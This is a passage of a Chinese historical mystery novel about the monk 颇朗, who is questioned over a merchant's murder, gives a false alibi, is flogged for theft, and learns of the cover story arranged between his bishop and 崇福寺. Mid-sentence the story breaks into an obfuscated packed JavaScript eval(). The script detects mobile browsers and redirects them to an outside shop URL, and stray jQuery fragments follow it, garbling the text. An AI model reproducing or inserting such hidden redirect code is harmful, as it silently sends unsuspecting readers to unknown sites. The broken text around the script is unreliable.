为防师徒二人串供抵赖，他们被关在不同的牢房里，彼此不能沟通。
颇朗在骚臭的草甸子上找了一块干的地方打坐，时不时听见不远处传来惨叫和哭喊声。
被打的一定不是主教大人，因为叫声里没有夹杂着向天父悔罪的祷文。
主教大人阿罗本是百年难遇的天赋之人，七岁就能背诵全本经文，被虔诚的父母送进隐修院来；十三岁那年，他在游行中走丢，只身一人流落荒野，却在半年后带回一整个突厥部落的皈依信徒，被视为神赐给东方亚述教会的天选之子。
二十四岁那年，阿罗本在主教遴选中毫无异议地接替病重弥留的上一任主教，也是在那一年，从旷野中奇迹般生还的颇朗被选中来到他身边。
因此颇朗一点儿也不为足智多谋的主教大人担心，主教大人既然出现在县衙里，就一定有十足的把握自保。
至于颇朗自己，他冷静下来后也想得通透。说到底，他只是在偷窃时被“人赃俱获”，没有证据能把米夏埃的死和他扯上关系。
再者，主教大人从坊间听到的消息只是“米夏埃死了”，颇朗都说不出米夏埃究竟是怎么死的，汉人官老爷们又凭什么认定他是凶手？
大不了认下入室偷盗，挨一顿杖刑有什么大不了的。他担心的是另一件事。
崇福寺那帮人极其胆小，一有风吹草动就如临大敌。如今他被关进县衙，智行和慧深担心他供出慧迟为自己作证，会不会又“一时惊惧、慌了手脚”，再把慧迟关起来？
那间幽深的地窖，恰似当年颇朗接受三禁之罚的地牢，一想到慧迟又要被那片漆黑的恐惧与无助吞没，他就心慌焦虑，连祷文都念不下去。
他只得强行宽慰自己，智行大师亲口许诺会“善待”慧迟，主教大人也曾说过，菩提教信徒不能说谎骗人、必须信守承诺。
可他又不禁担心，慧迟是个傻子啊，慧迟一定不懂颇朗为什么被抓、还能不能出去，肯定又不分白天黑夜、哭起来没完。
此时他什么都做不了，只得盘腿静坐，心头却止不住鸦飞雀乱的煎熬。
午后，通道内重重的脚步声由远及近，广毅带人来审他了。
通译者却是一个头罩黑纱的女人。她一开口，颇朗便觉有几分熟悉，又从她不带任何口音的亚历山大语判断，这人应是优翰拿家人，从而确定她是优翰拿的大儿媳优素拉。
“你七月二十八那天夜里，身在何处？”优素拉的声音微微颤抖，颇朗知道，她恼恨他们师徒说服莱拉捐出大量家产，因此不会向着他说话。
“崇福寺。蒙神庇佑，智行大师慷慨收容，我一直住在崇福寺，夜里宵禁，我当然就在寺里。”
优素拉的汉语还不如主教大人地道，语调奇怪不说，用词也十分有限：“他说他在崇福寺，夜晚关起来，敬拜神。”
广毅冷哼一声：“你告诉他，他的同伙已经供出他，杀害米夏埃的凶器，也已从他住处搜出来，叫他不必抵赖！”
优素拉挺直腰杆大声说：“你认罪吧！那个人出卖了你，刀子在你家里找到，你不必抵赖。”
这么说，广毅认为，米夏埃是七月二十八那晚遇害，凶器是刀子，而且这些事情还都是主教大人交代的。
颇朗听了这话，反倒松了一口气。主教大人怎么可能这么说？广毅明显是在诈他。
七月二十八，是他发现地窖、把慧迟救出来那天，夜里慧迟睡在他僧舍里，可以为他作证。但他不能说出这一点。
“我不认罪！我没有刀，有人诬陷我！”颇朗故意做出气愤急眼的样子，“你把那人叫来与我对质，我要问他为何陷害我！”
优素拉转译过后，广毅又问：“那你为何潜入米夏埃府盗窃？还不从实招来？”
高明的谎言必须由真相拼凑而成，颇朗便从去鬼市卖戒指、却被米夏埃和沙普尔做局诈骗开始，向广毅详述米夏埃以此事为由、来崇福寺敲诈主教大人的经过，唯独隐瞒了慧迟的存在。
“那日米夏埃又来寺里，我知道他不安好心，就尾随他，看见他从智行大师手里拿走一串佛珠，我原本不知道那是什么。
“昨日听智行大师说，镇寺之宝佛骨舍利被米夏埃骗走了。是我把这奸商招惹来的，我必须为此事负责。听说他已经死了，我就想去他家里把佛珠拿回来，还给崇福寺，就是这样。”
广毅听完优素拉磕磕巴巴的转译，沉默着定定注视颇朗许久。
颇朗被盯得心里直犯毛。广毅身材健硕、眼神坚定，与那些悠闲散漫的汉人不同，一看就不是那么好糊弄的；颇朗甚至有种感觉，广毅和他是同一类人，假如是在别的场合两人正面遭遇，输赢并不一定。
终于，广毅鼻子里长出一口气，背在身后的双手松懈下来，冲一旁的兵役探了探下巴。
几个人押着颇朗来到公堂之上，上头一左一右坐着两个文官打扮的汉人，主教大人和智行、慧深两个和尚也在。
主教大人并未被绑缚，颇朗走到他身旁刚刚站定，他抬手一把扯掉颇朗脖子上的木十字，摔在地上怒道：“你干犯偷窃之罪，令天父蒙羞，怎么还有脸戴着救主的象征！”
汉人们纷纷看向优素拉，优素拉急忙将这句话译出。
“我再问一次，你，七月廿八当天夜里，身在何处？细细说来！”广毅手按刀柄，指着颇朗厉声问道。
颇朗认出堂上的汉人官员其中一个是鸿胪寺王大人，这令他想起上次主教大人是如何摆脱杀人嫌疑的。
曾为主教大人做过一次时间伪证的智行大师就在现场，颇朗看了一眼丢在地上的木十字，迅速想明白主教大人的暗示。
“我因在波斯店铺抢夺财物、打伤了人，接受三禁之罚，被关在崇福寺西侧石塔内，七月二十八日尚未被放出来。”
颇朗说完，就见智行大师合眼念了一声“阿弥陀佛”，主教大人也满脸羞辱地拂袖叹了口气。
堂上另一个汉人官员侧身与王大人谦让了一回，然后啪地拍响惊堂木，手指颇朗宣判：“胡僧颇朗，恃强逞凶，目无法纪，趁夜抢劫波斯人财物、入室偷盗，人赃并获，无可抵赖。本县依大唐律，判处你退还赃款赃物、罚金三倍，当堂杖脊五十！你认罪不认？”
颇朗闭目垂下头：“认。”
“来呀，行刑！”
堂下众军士一拥而上，把颇朗绑在一条长凳上。智行大师不忍见此酷刑，主教大人便同慧深一起，将他搀扶走了。
区区五十下平整无刺的木板，颇朗咬牙提气受住了，一声未叫。起身后也只趔趄了几步，最终拎着拳头、昂首挺胸走出县衙，引来门外围观的百姓发出一阵咋舌叫好。
当他路过守在门口的广毅时，广毅伸出两根指头指戳自己双眼，而后指指颇朗，意思是，我会盯着你的。
颇朗走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776059|208480||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
走停停，又遇好心的车夫载他一程，终于在天黑前回到崇福寺。
原打算悄悄回僧舍歇息，省得慧迟看见他，又嚎啕一阵。却没想到慧迟就在他僧舍里等着，一见他面，便闷头往他怀里扑。
颇朗急忙伸长手臂抵住慧迟双肩，强打精神摇了摇头。他在臭烘烘的大牢里待了一晚上，又一身血污，不想让慧迟沾染分毫。
“师父叫我给你上药，你趴着吧。”慧迟撇嘴抹了把泪，转身端起一个托盘，上面是几个味道刺鼻的瓶瓶罐罐。
方才他一进门就看见慧迟脖子上挂着那串失而复得的佛珠，便觉这五十板子不亏。
颇朗皱眉除去与血痂粘连的僧袍，发现裤腰也被血水浸透，只得一并脱掉，赤条条趴在榻上。
慧迟先用药酒替他擦抹伤处，边擦边抽鼻子；随后又用手往他背上涂药油，摸得他发痒浑身颤抖，比受刑时还难受，禁不住漏出几声闷哼。
待处理完伤口，两人都出了一身汗。慧迟说：“我去打桶水来，你擦擦身吧？”说完拉开房门。
迎面却见阿罗本站在门外，两眼定定望着屋里。
慧迟叫了声“上师”就跑了，阿罗本走进来时，颇朗已经挣扎着起身，找了一件干净僧袍系在腰间。
“以天父的名义，你为什么要做这种事？”主教大人的愤怒溢于言表，“半夜去亡人家里偷窃，你到底怎么想的？”
颇朗垂头不语，心想，你不是都替我编好了吗？为报答崇福寺收留款待之恩呀。
主教大人说的对，他们的命运与崇福寺绑在一起。智行和慧深生怕他为自保供出慧迟，绞尽脑汁也得想出一个不涉及慧迟却能为他脱罪的法子。想必今早主教大人一收到他被捕的消息，就立刻与崇福寺的人串好供了。
“你听好了，智行大师向官府说的是，十年前，他那个名叫慧迟的徒儿在一次外出乞讨的途中失踪，活不见人、死不见尸，这些年一直是他的一块心病。
“七月二十三那日，米夏埃突然登门拜访，说自己的朋友在沙洲见到一个长安和尚，自称慧迟。此人说自己多年前因贪图世俗享乐，从崇福寺逃跑，如今历经磨难，重又皈依佛门，却不知师父能否原谅他、接纳他回头。
“因他描述的僧人身形相貌、大致年纪皆与失踪的慧迟相当，智行大师心中激动，一时糊涂，便同意米夏埃的提议，将那串镇寺之宝交给米夏埃，由他托人带往沙洲，以之为信物，劝慧迟回到崇福寺来。
“米夏埃走后，智行大师将此事说与住持慧深大师，经慧深大师点破，才意识到自己上当受骗，因而痛心疾首，悔恨不可终日。
“昨日说起这事时你也在场，慧深便忍不住抱怨，说都怪你招惹这奸人，才令其盯上崇福寺，如今人死了，东西更难要得回来。你一时气急，便连夜跑去米夏埃家行窃。
“再者，米夏埃是夜半时分在离家不远的暗巷里，被人用利刃剜去舌头、而后割喉。他身上一袋钱币、手上的宝石戒指却并未被抢走。因而官府认定凶手必是存心报复的仇人，而非谋财害命的强盗。
“既然你认了抢劫财物之罪，官府便不再视你为杀人凶手。崇福寺上下也都统一口径，对外说你七月二十四入塔、七日后才被放出的。”主教大人叙述完毕，与颇朗对视一眼，叹息道，“智行大师屡次为我们破戒扯谎，如今谎言的网越织越大……我有种预感，事情快要失控了。”